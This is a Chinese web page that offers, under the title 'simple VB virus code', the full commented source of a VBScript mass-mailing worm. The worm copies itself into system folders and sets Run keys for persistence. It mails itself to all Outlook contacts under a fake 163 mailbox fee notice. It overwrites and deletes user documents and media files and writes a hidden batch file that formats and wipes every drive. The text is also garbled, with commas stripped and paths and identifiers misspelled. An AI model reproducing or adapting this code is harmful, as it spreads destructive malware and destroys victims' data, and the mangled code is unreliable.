vb简单病毒代码

vb简单病毒代码

On Error Resume Next’容错语句，避免程序崩溃

dim filesyssysdirwindirfilevbscp

Set filesys=CreateObject("Scripting.FileSystemObject")’建立文件系统对象，必不可少

set file=filesys.OpenTextFile(WScript.ScriptFullname1)’以文本方式打开病毒自己

vbscp=file.ReadAll’读入自己的内容

main()’进入主过程

sub main()’主过程

On Error Resume Next

dim timeovererrsmimmeaddaddaddressc

set timeover=CreateObject("WScript.Shell")

err=timeover.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")’读入注册表中的超时键值

if(err>=1)then’超时设置

timeover.RegWrite "HKEY——CURRENT——USER\Softwate\Microsoft\Windows Scripting Host\Settings\Timeout"0"REG_DWORD"

end if

set sm=CreateObject("WScript.Shell")

imme=sm.RegRead("HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Send Mail Immediately")

if(imme>=0)then’修改OE的注册表键值，避免用户改为“不立刻发送邮件”

sm.RegWrite " HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Send Mail Immediately"1"REG_DWORD"

end if

set addadd=CreateObject("WScript.Shell")

address=addadd.RegRead("HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Auto Add Replices To WAB")

if(address>=0)then’修改OE的注册表键值，避免用户改为“不立刻添加通讯薄”

addadd.RegWrite " HKEY_USERS\.DEFAULT\Identities\{C5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Auto Add Replies To WAB"1"REG_DWORD"

end if

Set windir=filesys.GetSpecialFolder(0)’得到windows目录

Set sysdir=filesys.GetSpecialFolder(1)’得到system目录

Set c=filesys.GetFile(WScript.ScriptFullName)’得到病毒的路径

c.Copy(sysdir&"\Kernel32.vbs")’将自己复制到system下

c.Copy(windir&"\Rundll32.vbs")’将自己复制到windows下

c.Copy(sysdir&"\Table.htm.vbs")’向system下再复制一个

regload()’调用写注册表的模块

mailworm()’调用发带病毒邮件的模块

killc()’调用改写自动批处理的模块

alldrivers()’调用删文件的模块

end sub

sub killc()’破坏硬盘的过程

On Error Resume Next

dim fsautodiscdsssixdir

Set fs=CreateObject("Scripting.FileSystemObject")

Set auto=fs.CreateTextFile("c:\Auto.bat"True)’建立或修改自动批处理

auto.WriteLine("@echo off")’屏蔽掉删除的进程

auto.WriteLine("Smartdrv")’加载驱动器的集合

Set disc=fs.Drives’得到驱动器的集合

For Each ds in disc

If ds.DriveType=2 Then’如果驱动器是本地盘

ss=ss&ds.DriveLetter’就将符号连在一起

End if

Next

ss=LCase(StrReverse(Trim(ss)))’得到符号串的反向小写形式

For i=1 to Len(ss)’遍历每个驱动器

x=Mid(ssi1)’读每个驱动器的符号

auto.WriteLine("format/autotest/q/u"&x&":")’反向（从Z:到A:)自动格式化驱动器

next

For i=1 to Len(ss)

x=Mid(ssi1)

auto.WriteLine("deltree/y"&x&":")’怕format失效，用deltree双保险

next

auto.Close’关闭批处理文件

set dir=fs.GetFile("c:\Auto.bat")

dir.attributes=dir.attributes2’将自动批处理文件改为隐藏

End sub

sub regload()’从注册表中自动加载的过程

On Error Resume Next

reg"HKEY_LOCAL_MACHINE\Software\Microsofr\Windows\CurrenVersion\Run\Exploer"windir&"\Rundll32.vbs" ’在HKLM的RUN下添加键值

reg"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Explorer"windir&"\Rundll32.vbs" ’在hkcu的run下添加键值

end sub

sub alldrivers()’得到本地驱动器的过程

On Error Resume Next

Dim ddcs

Set dc =filesys.Drives’得到本地驱动器的集合

For Each d in dc ’遍历每个驱动器

if d.DriveType=2 or d.DriveType=3 Then’如果是本地盘或网络盘

folderlist(d.path&"\")’就完善路径，如c:就变成c:end if

Next

listadriv=s’得到目录列表

end sub

sub infectfiles(folderspec)’感染文件的过程

On Error Resume Next

dim ff1fcextapcopsdocu

set f=filesys.GetFolder(folderspec)’建立目录对象

set fc=f.Files’得到文件的集合

for each f1 in fc’遍历每个文件

ext=filesys.GetExtensionName(f1.path)’得到文件的后缀名

ext=lcase(ext)’将后缀名小写

s=lcase(f1.neme)’将文件路径小写

if(ext="vbs")then ’如果后缀是vbs

set ap=filesys.OpenTextFile(f1.path2true)’就以文本方式打开

ap.write vbscp’将自己写入文件，达到感染的目的

ap.close’关闭文件

elseif(ext="doc")or(ext="xls")or(ext="zip")or(ext="mp3")then f1.attributes=0’如果后缀是docxlszipmp3就将文件的属性改为无

set docu=filesys.OpenTextFile(fi.path2true)’以文本方式打开文件

docu.write vbscp ’写入自己的代码，以破坏文件

docu.close’关闭文件

filesys.file f1.pathtrue’将文件删除

end if

next

end sub

sub folderlist(folderspec)’遍历目录的过程

On Error Resume Next

dim ff1sf

set f=filesys.GetFolder(folderspec)’建立目录对象

set sf=f.SubFolders’得到子目录的集合

for each f1 in sf

infectfiles(f1.path)’遍历每个子目录

folderlist(f1.path)’递归算法，以穷尽子目录，相当耗内存

next

end sub

sub reg(regkeyregvalue)’写注册表的过程

Set regedit=CreateObject("WScript.Shell")

regedit.RegWrite regkeyregvalue

end sub

function regget(value)’读注册表的过程

Set regedit=CreateObject("WScript.Shell")

regget=regedit.RegRead(value)

end function

function fileexist(filespec)’判断文件是否存在的进程

On Error Resume Next

dim msg

if (filesys.FileExists(filespec)) Then’如果文件存在，返回0；否则1

msg=0

else

msg=1

end if

fileexist=msg

end function

function folderexist(folderspec)’判断目录是否存在的过程

dim msg

if(filesys.GetFolderExists(folderspec)) then ’如果目录存在，返回0；否则1

msg=0

else

msg=1

end if

fileexist=msg

end function

sub mailworm()’发带病毒邮件的过程

On Error Resume Next

dim xactrlistsctrentriesmaleadbregeditregvregad

set regedit=CreateObject("WScript.Shell")

set out=WScript.CreatObject("Outlook.Application")’建立Outlook对象

set mapi=out.GetNameSpace("MAPI")

for ctrlists=1 to mapi.AddressLists.Count’遍历每个邮件地址

set a=mapi.AddresLists(ctrlists)

x=1

regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)

if(regv="")then

regv=1

end if

if(int(a.AddressEntries.Count)>int(regv)) then

for ctrentries=1 to a.AddressEntries.Count’如果地址个数大于注册表中的键值

malead=a.AddressEntries(x)

regad=""

regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)

if(regad="")then

set male=out.CreateItem(0)

male.Recipients.Add(malead)

male.Subject="163电子邮箱收费通知" ’邮件标题

male.Body=vbcrlf& "亲爱的用户：您好！163电子邮局近日实施对免费电子邮件进行收费，欢迎您来租用163电子邮箱，一年的使用费为人民币100圆（100M空间）。" ’邮件的内容

male.Attachments.Add(sysdir&"\Table.htm.vbs")’邮件的附件

male.Send ’发邮件！

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead1"REG_DWORD"

end if

x=x1

next

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&aa.AddressEntries.Count

else

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&aa.AddressEntries.Count

end if

next

Set out=Nothing’清空out变量

Set mapi=Nothing ’清空mapi